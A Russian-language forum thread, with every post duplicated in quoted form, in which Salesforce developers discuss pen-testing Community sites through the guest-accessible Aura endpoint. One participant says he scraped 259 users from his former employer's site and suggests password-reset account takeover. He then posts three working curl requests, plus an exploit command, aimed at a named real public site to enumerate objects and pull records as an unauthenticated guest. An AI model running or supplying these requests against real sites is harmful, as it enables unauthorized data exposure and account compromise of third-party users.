Регистрация  |  Вход

Идея для penetration testing

penetration testing - это попытка, использую уязвимости или, больше для СФ, ошибки в security конфигурации, вытянуть из системы данные, к которым доступа не должно быть.

хочу подготовить набросок программы penetration testing. уже, конечно, есть идеи, что можно было бы попробовать "хакнуть", особенно в Коммунити.

Но сначала спрошу, какие у вас есть идеи на эту тему?
penetration testing - это попытка, использую уязвимости или, больше для СФ, ошибки в security конфигурации, вытянуть из системы данные, к которым доступа не должно быть.

хочу подготовить набросок программы penetration testing. уже, конечно, есть идеи, что можно было бы попробовать "хакнуть", особенно в Коммунити.

Но сначала спрошу, какие у вас есть идеи на эту тему?
Den Brown
Но сначала спрошу, какие у вас есть идеи на эту тему?
Цитировать

Если не ошибаюсь, делал похожее лет 5 назад. Запускалось все из тест класса. Иначе тебе придется все запускать через UI.

С запуском из тестов тоже были свои приколюхи, например как сделать отчет работы, но и это можно решить.

К сожалению в продакшен не пошло. Клиент не потянул бюджет, хотя суммы там были не фантастические.

Основная проблема решения была в том что не понятно, кто должен поддерживать актуальные конфиги для тестов
[quote="Den Brown"]Но сначала спрошу, какие у вас есть идеи на эту тему?
Цитировать
[/quote]

Если не ошибаюсь, делал похожее лет 5 назад. Запускалось все из тест класса. Иначе тебе придется все запускать через UI.

С запуском из тестов тоже были свои приколюхи, например как сделать отчет работы, но и это можно решить.

К сожалению в продакшен не пошло. Клиент не потянул бюджет, хотя суммы там были не фантастические.

Основная проблема решения была в том что не понятно, кто должен поддерживать актуальные конфиги для тестов
А что именно твои классы проверяли?
А что именно твои классы проверяли?
Den Brown
А что именно твои классы проверяли?

Проверяли CRUD, FLS, доступ к visualforce pages под выбранными пользователями
[quote="Den Brown"]А что именно твои классы проверяли?[/quote]

Проверяли CRUD, FLS, доступ к visualforce pages под выбранными пользователями
wilder
Проверяли CRUD, FLS, доступ к visualforce pages под выбранными пользователями

ок, я в чем была логика? как ты понимал, что юзер имеет excessive access?
[quote="wilder"]Проверяли CRUD, FLS, доступ к visualforce pages под выбранными пользователями[/quote]

ок, я в чем была логика? как ты понимал, что юзер имеет excessive access?
Den Brown
wilder
Проверяли CRUD, FLS, доступ к visualforce pages под выбранными пользователями

ок, я в чем была логика? как ты понимал, что юзер имеет excessive access?

Были специальные конфиги, на основе которых и принималось решение
[quote="Den Brown"][quote="wilder"]Проверяли CRUD, FLS, доступ к visualforce pages под выбранными пользователями[/quote]

ок, я в чем была логика? как ты понимал, что юзер имеет excessive access?
[/quote]

Были специальные конфиги, на основе которых и принималось решение
вот здесь люди плачутся, что руки у них не оттуда:

https://arstechnica.com/information-tech ... ve-data/

https://krebsonsecurity.com/2023/04/many ... te-data/

но вообще, хорошо бы иметь скрипт, который проверяет, какие guest profiles имеются на орге и и какие объекты с ними пошерены
вот здесь люди плачутся, что руки у них не оттуда:

https://arstechnica.com/information-technology/2023/04/misconfigured-servers-running-salesforce-software-are-leaking-sensitive-data/

https://krebsonsecurity.com/2023/04/many-public-salesforce-sites-are-leaking-private-data/

но вообще, хорошо бы иметь скрипт, который проверяет, какие guest profiles имеются на орге и и какие объекты с ними пошерены 
ты наверное ищешь чтото такое*?

https://github.com/moniik/poc_salesforce ... ploit.py

нам очень часто репортили такую проблему последние полгода

условно есть guest который создавал лиды, или еще чтото, и через подобные запросы в ауру, аура возвращала список всех лидов
ты наверное ищешь чтото такое*?

https://github.com/moniik/poc_salesforce_lightning/blob/main/exploit.py

нам очень часто репортили такую проблему последние полгода

условно есть guest который создавал лиды, или еще чтото, и через подобные запросы в ауру, аура возвращала список всех лидов
Maxim Elets
ты наверное ищешь чтото такое*?

ну здесь используется API чтоб вытянуть данные

Maxim Elets
аура возвращала список всех лидов

так, такое возможно только если эти лиды как-то пошерены с юзером или вообще паблик, правильно?!
[quote="Maxim Elets"]ты наверное ищешь чтото такое*?[/quote]

ну здесь используется API чтоб вытянуть данные

[quote="Maxim Elets"]аура возвращала список всех лидов[/quote]

так, такое возможно [b]только если[/b] эти лиды как-то пошерены с юзером или вообще паблик, правильно?!
Den Brown
Maxim Elets
ты наверное ищешь чтото такое*?

ну здесь используется API чтоб вытянуть данные

Maxim Elets
аура возвращала список всех лидов

так, такое возможно только если эти лиды как-то пошерены с юзером или вообще паблик, правильно?!

Правильно, но смысл в том, что таким обращом можно пройтись по всем объектам, и понять кто что лишнего видит. А лиды и другие записи были созданы из под гостя, он стоял у них как owner, поэтому все было доступно. Ну и получается, в нашем случае у гостя были возможности читать то, что ему не нужно
[quote="Den Brown"][quote="Maxim Elets"]ты наверное ищешь чтото такое*?[/quote]

ну здесь используется API чтоб вытянуть данные

[quote="Maxim Elets"]аура возвращала список всех лидов[/quote]

так, такое возможно [b]только если[/b] эти лиды как-то пошерены с юзером или вообще паблик, правильно?![/quote]

Правильно, но смысл в том, что таким обращом можно пройтись по всем объектам, и понять кто что лишнего видит. А лиды и другие записи были созданы из под гостя, он стоял у них как owner, поэтому все было доступно. Ну и получается, в нашем случае у гостя были возможности читать то, что ему не нужно
Maxim Elets
А лиды и другие записи были созданы из под гостя, он стоял у них как owner, поэтому все было доступно. Ну и получается, в нашем случае у гостя были возможности читать то, что ему не нужно

ах вот ты к чему. То есть это уникальная ситуация именно для Гостя, которым могут быть совершенно разные люди, и они имеют право создавать записи в каком-то объекте, и эти записи получаются как бы "паблик" для гостевого юзера и их можно вытянуть через АПИ. ну тогда при создании такой гостевой записи нужно "перебивать" owner на какого-нибудь дефолтного внутреннего юзера.

но в статьях выше вроде описаны не такие случаи, а случаи когда шеринг в принципе был неправильно или бездумно настроен для гостевого юзера
[quote="Maxim Elets"]А лиды и другие записи были созданы из под гостя, он стоял у них как owner, поэтому все было доступно. Ну и получается, в нашем случае у гостя были возможности читать то, что ему не нужно[/quote]

ах вот ты к чему. То есть это уникальная ситуация именно для Гостя, которым могут быть совершенно разные люди, и они имеют право создавать записи в каком-то объекте, и эти записи получаются как бы "паблик" для гостевого юзера и их можно вытянуть через АПИ. ну тогда при создании такой гостевой записи нужно "перебивать" owner на какого-нибудь дефолтного внутреннего юзера.

но в статьях выше вроде описаны не такие случаи, а случаи когда шеринг в принципе был неправильно или бездумно настроен для гостевого юзера
Maxim Elets
ты наверное ищешь чтото такое*?

https://github.com/moniik/poc_salesforce ... ploit.py

нам очень часто репортили такую проблему последние полгода

а ты пробовал запускать этот код?

я понимаю, что в орге могут быть проблемы с настройками шеринга

но что значит вот это?

299.   print("[+] Looking for aura endpoint and check vulnerability")
...
306.print("[+] %s seems to be vulnerable." % (aura_endpoints))

как сам (стандартный, служебный) URL может быть vulnerable или не vulnerable?

мы ведь не можем контролировать такие моменты
[quote="Maxim Elets"]ты наверное ищешь чтото такое*?

https://github.com/moniik/poc_salesforce ... ploit.py

нам очень часто репортили такую проблему последние полгода[/quote]

а ты пробовал запускать этот код?

я понимаю, что в орге могут быть проблемы с настройками шеринга

но что значит вот это?

[code]
299.   print("[+] Looking for aura endpoint and check vulnerability")
...
306.print("[+] %s seems to be vulnerable." % (aura_endpoints))
[/code]

как сам (стандартный, служебный) URL может быть vulnerable или не vulnerable?

мы ведь не можем контролировать такие моменты
Den Brown
Maxim Elets
ты наверное ищешь чтото такое*?

https://github.com/moniik/poc_salesforce ... ploit.py

нам очень часто репортили такую проблему последние полгода

а ты пробовал запускать этот код?

я понимаю, что в орге могут быть проблемы с настройками шеринга

но что значит вот это?

299.   print("[+] Looking for aura endpoint and check vulnerability")
...
306.print("[+] %s seems to be vulnerable." % (aura_endpoints))

как сам (стандартный, служебный) URL может быть vulnerable или не vulnerable?

мы ведь не можем контролировать такие моменты



Я не пробовал конкретно этот скрипт, у меня есть свой

вот чисто для примера, я запустил его на сайте своей бывшей компании, и у меня есть список всех юзеров которые пользуются community
да, в нем нет email или телефона, Но я думаю это только потому что я пытался вытянуть юзера, а можно было попробовать чтото другое, но у меня нет времени

а с другой стороны, зная имя, можно перебрать почту, отправить ссылку на восстановление пароля и заиметь доступ

кстати, всего 259 имен, как активных так и не активных, хотя по факту должен быть только один guest user
[quote="Den Brown"][quote="Maxim Elets"]ты наверное ищешь чтото такое*?

https://github.com/moniik/poc_salesforce ... ploit.py

нам очень часто репортили такую проблему последние полгода[/quote]

а ты пробовал запускать этот код?

я понимаю, что в орге могут быть проблемы с настройками шеринга

но что значит вот это?

[code]
299.   print("[+] Looking for aura endpoint and check vulnerability")
...
306.print("[+] %s seems to be vulnerable." % (aura_endpoints))
[/code]

как сам (стандартный, служебный) URL может быть vulnerable или не vulnerable?

мы ведь не можем контролировать такие моменты[/quote]



Я не пробовал конкретно этот скрипт, у меня есть свой

вот чисто для примера, я запустил его на сайте своей бывшей компании, и у меня есть список всех юзеров которые пользуются community
да, в нем нет email или телефона, Но я думаю это только потому что я пытался вытянуть юзера, а можно было попробовать чтото другое, но у меня нет времени

а с другой стороны, зная имя, можно перебрать почту, отправить ссылку на восстановление пароля и заиметь доступ

кстати, всего 259 имен, как активных так и не активных, хотя по факту должен быть только один guest user
а твой скрипт тоже на питоне?
а твой скрипт тоже на питоне?
Den Brown
а твой скрипт тоже на питоне?

у меня не совсем скрипт, это по факту просто 2-3 запроса в постмане, поэтому на питоне то что имеется выглядит круто

я сейчас запустил, он выдает просто прекрасные результаты и красиво сохраняет их в папках

можно запускать 100 штук подряд и потом просто просмотреть что где откопалось

но надо учитывать что тут запускается все от гостя, а ведь наверное можно потестировать наличие ненужного доступа и от залогиненого юзера(если такой имеется конечно)

тут наверное копать и копать можно
[quote="Den Brown"]а твой скрипт тоже на питоне?[/quote]

у меня не совсем скрипт, это по факту просто 2-3 запроса в постмане, поэтому на питоне то что имеется выглядит круто

я сейчас запустил, он выдает просто прекрасные результаты и красиво сохраняет их в папках

можно запускать 100 штук подряд и потом просто просмотреть что где откопалось

но надо учитывать что тут запускается все от гостя, а ведь наверное можно потестировать наличие ненужного доступа и от залогиненого юзера(если такой имеется конечно)

тут наверное копать и копать можно
очень интересно
очень интересно
Den Brown
факту просто 2-3 запроса в постмане,

А можно поделиться этими запросами?
[quote="Den Brown"]факту просто 2-3 запроса в постмане,[/quote]

А можно поделиться этими запросами?
wilder
Den Brown
факту просто 2-3 запроса в постмане,

А можно поделиться этими запросами?

можно
они по факту те же что и в скрипте по ссылке выше
Этот получит список все объектов на орге
curl --location 'https://contact.mta.info/s/sfsites/aura' \
--header 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
--header 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36' \
--header 'Cookie: CookieConsentPolicy=0:1; LSKey-c$CookieConsentPolicy=0:1' \
--data-raw 'message={
    "actions": [
        {
            "id": "195;a",
            "descriptor": "serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData",
            "callingDescriptor": "UNKNOWN",
            "params": {
                "namespace": "",
                "classname": "ContactUsController",
                "method": "confirmUserAndAgency",
                "params": {
                    "agency": "Subways"
                },
                "cacheable": false,
                "isContinuation": false
            }
        }
    ]
}&aura.context={
    "mode": "PROD",
    "fwuid": "wyQWsVjjDIx-Xsqekbsbwg",
    "app": "siteforce:communityApp",
    "loaded": {
        "APPLICATION@markup://siteforce:communityApp": "k6JknytX-C_r-3PiqoI3OQ",
        "COMPONENT@markup://instrumentation:o11ySecondaryLoader": "NAR59T88qTprOlgZG3yLoQ"
    },
    "dn": [],
    "globals": {},
    "uad": false
}&aura.pageURI=/s/&aura.token=null'

Этот вернет список записей
curl --location 'https://contact.mta.info/s/sfsites/aura' \
--header 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
--header 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36' \
--header 'Cookie: CookieConsentPolicy=0:1; LSKey-c$CookieConsentPolicy=0:1' \
--data-raw 'message={
    "actions": [
        {
            "id": "195;a",
            "descriptor": "serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems",
            "callingDescriptor": "UNKNOWN",
            "params": {
                "entityNameOrId": "[b]Calendar[/b]",
                "layoutType": "FULL",
                "pageSize": 1000,
                "currentPage": 0,
                "useTimeout": true,
                "getCount": true,
                "enableRowActions": true
            }
        }
    ]
}&aura.context={
    "mode": "PROD",
    "fwuid": "wyQWsVjjDIx-Xsqekbsbwg",
    "app": "siteforce:communityApp",
    "loaded": {
        "APPLICATION@markup://siteforce:communityApp": "k6JknytX-C_r-3PiqoI3OQ",
        "COMPONENT@markup://instrumentation:o11ySecondaryLoader": "NAR59T88qTprOlgZG3yLoQ"
    },
    "dn": [],
    "globals": {},
    "uad": false
}&aura.pageURI=/s/&aura.token=null'


Этот вернет дели записи(должен вернуть, хотя по факту протестить на каком то реально хорошем примере не удавалось)
curl --location 'https://contact.mta.info/s/sfsites/aura' \
--header 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
--header 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36' \
--header 'Cookie: CookieConsentPolicy=0:1; LSKey-c$CookieConsentPolicy=0:1' \
--data-raw 'message={
    "actions": [
        {
            "id": "195;a",
            "descriptor": "serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord",
            "callingDescriptor": "UNKNOWN",
            "params": {
                "recordId": "[b]005XXXXXXXXXXXX[/b]",
                "record": null,
                "inContextOfComponent": "",
                "mode": "VIEW",
                "layoutType": "FULL",
                "defaultFieldValues": null,
                "navigationLocation": "LIST_VIEW_ROW"
            }
        }
    ]
}&aura.context={
    "mode": "PROD",
    "fwuid": "wyQWsVjjDIx-Xsqekbsbwg",
    "app": "siteforce:communityApp",
    "loaded": {
        "APPLICATION@markup://siteforce:communityApp": "k6JknytX-C_r-3PiqoI3OQ",
        "COMPONENT@markup://instrumentation:o11ySecondaryLoader": "NAR59T88qTprOlgZG3yLoQ"
    },
    "dn": [],
    "globals": {},
    "uad": false
}&aura.pageURI=/s/&aura.token=null'


можно есть выполнить apex, сделать дескрайб, собственно сделать все то что делает aura/lwc через свои адаптеры
[quote="wilder"][quote="Den Brown"]факту просто 2-3 запроса в постмане,[/quote]

А можно поделиться этими запросами?[/quote]

можно
они по факту те же что и в скрипте по ссылке выше
Этот получит список все объектов на орге
[code]
curl --location 'https://contact.mta.info/s/sfsites/aura' \
--header 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
--header 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36' \
--header 'Cookie: CookieConsentPolicy=0:1; LSKey-c$CookieConsentPolicy=0:1' \
--data-raw 'message={
    "actions": [
        {
            "id": "195;a",
            "descriptor": "serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData",
            "callingDescriptor": "UNKNOWN",
            "params": {
                "namespace": "",
                "classname": "ContactUsController",
                "method": "confirmUserAndAgency",
                "params": {
                    "agency": "Subways"
                },
                "cacheable": false,
                "isContinuation": false
            }
        }
    ]
}&aura.context={
    "mode": "PROD",
    "fwuid": "wyQWsVjjDIx-Xsqekbsbwg",
    "app": "siteforce:communityApp",
    "loaded": {
        "APPLICATION@markup://siteforce:communityApp": "k6JknytX-C_r-3PiqoI3OQ",
        "COMPONENT@markup://instrumentation:o11ySecondaryLoader": "NAR59T88qTprOlgZG3yLoQ"
    },
    "dn": [],
    "globals": {},
    "uad": false
}&aura.pageURI=/s/&aura.token=null'
[/code]

Этот вернет список записей
[code]curl --location 'https://contact.mta.info/s/sfsites/aura' \
--header 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
--header 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36' \
--header 'Cookie: CookieConsentPolicy=0:1; LSKey-c$CookieConsentPolicy=0:1' \
--data-raw 'message={
    "actions": [
        {
            "id": "195;a",
            "descriptor": "serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems",
            "callingDescriptor": "UNKNOWN",
            "params": {
                "entityNameOrId": "[b]Calendar[/b]",
                "layoutType": "FULL",
                "pageSize": 1000,
                "currentPage": 0,
                "useTimeout": true,
                "getCount": true,
                "enableRowActions": true
            }
        }
    ]
}&aura.context={
    "mode": "PROD",
    "fwuid": "wyQWsVjjDIx-Xsqekbsbwg",
    "app": "siteforce:communityApp",
    "loaded": {
        "APPLICATION@markup://siteforce:communityApp": "k6JknytX-C_r-3PiqoI3OQ",
        "COMPONENT@markup://instrumentation:o11ySecondaryLoader": "NAR59T88qTprOlgZG3yLoQ"
    },
    "dn": [],
    "globals": {},
    "uad": false
}&aura.pageURI=/s/&aura.token=null'[/code]


Этот вернет дели записи(должен вернуть, хотя по факту протестить на каком то реально хорошем примере не удавалось)
[code]curl --location 'https://contact.mta.info/s/sfsites/aura' \
--header 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
--header 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36' \
--header 'Cookie: CookieConsentPolicy=0:1; LSKey-c$CookieConsentPolicy=0:1' \
--data-raw 'message={
    "actions": [
        {
            "id": "195;a",
            "descriptor": "serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord",
            "callingDescriptor": "UNKNOWN",
            "params": {
                "recordId": "[b]005XXXXXXXXXXXX[/b]",
                "record": null,
                "inContextOfComponent": "",
                "mode": "VIEW",
                "layoutType": "FULL",
                "defaultFieldValues": null,
                "navigationLocation": "LIST_VIEW_ROW"
            }
        }
    ]
}&aura.context={
    "mode": "PROD",
    "fwuid": "wyQWsVjjDIx-Xsqekbsbwg",
    "app": "siteforce:communityApp",
    "loaded": {
        "APPLICATION@markup://siteforce:communityApp": "k6JknytX-C_r-3PiqoI3OQ",
        "COMPONENT@markup://instrumentation:o11ySecondaryLoader": "NAR59T88qTprOlgZG3yLoQ"
    },
    "dn": [],
    "globals": {},
    "uad": false
}&aura.pageURI=/s/&aura.token=null'[/code]


можно есть выполнить apex, сделать дескрайб, собственно сделать все то что делает aura/lwc через свои адаптеры
Пасибки, скорее всего так и сделаю
Пасибки, скорее всего так и сделаю
Maxim Elets
ты наверное ищешь чтото такое*?

попробовал код на одной своей Коммунити, которую смог быстро найти в одном из своих дев оргов.

пишет, что "уязвимых URL не обнаружено"

это может значить, что:

(1) СФ пофиксил эту ситуацию во всех оргах,

или

(2) в моей пустой коммунити ничего и нет

вы пробовали этот код, и он вам вытягивал что-нибудь? если это был тест или дев коммунити, можете дать линк на нее, чтоб я убедился, что код все еще рабочий?
[quote="Maxim Elets"]ты наверное ищешь чтото такое*?[/quote]

попробовал код на одной своей Коммунити, которую смог быстро найти в одном из своих дев оргов.

пишет, что "уязвимых URL не обнаружено"

это может значить, что:

(1) СФ пофиксил эту ситуацию во всех оргах,

или 

(2) в моей пустой коммунити ничего и нет

вы пробовали этот код, и он вам вытягивал что-нибудь? если это был тест или дев коммунити, можете дать линк на нее, чтоб я убедился, что код все еще рабочий?
Den Brown
Maxim Elets
ты наверное ищешь чтото такое*?

попробовал код на одной своей Коммунити, которую смог быстро найти в одном из своих дев оргов.

пишет, что "уязвимых URL не обнаружено"

это может значить, что:

(1) СФ пофиксил эту ситуацию во всех оргах,

или

(2) в моей пустой коммунити ничего и нет

вы пробовали этот код, и он вам вытягивал что-нибудь? если это был тест или дев коммунити, можете дать линк на нее, чтоб я убедился, что код все еще рабочий?


сф 100% ничего не пофиксили

я запускал вот так
-u https://contact.mta.info/s/ -d -s
[quote="Den Brown"][quote="Maxim Elets"]ты наверное ищешь чтото такое*?[/quote]

попробовал код на одной своей Коммунити, которую смог быстро найти в одном из своих дев оргов.

пишет, что "уязвимых URL не обнаружено"

это может значить, что:

(1) СФ пофиксил эту ситуацию во всех оргах,

или 

(2) в моей пустой коммунити ничего и нет

вы пробовали этот код, и он вам вытягивал что-нибудь? если это был тест или дев коммунити, можете дать линк на нее, чтоб я убедился, что код все еще рабочий?
[/quote]


сф 100% ничего не пофиксили :rolling:

я запускал вот так
[code] -u https://contact.mta.info/s/ -d -s[/code]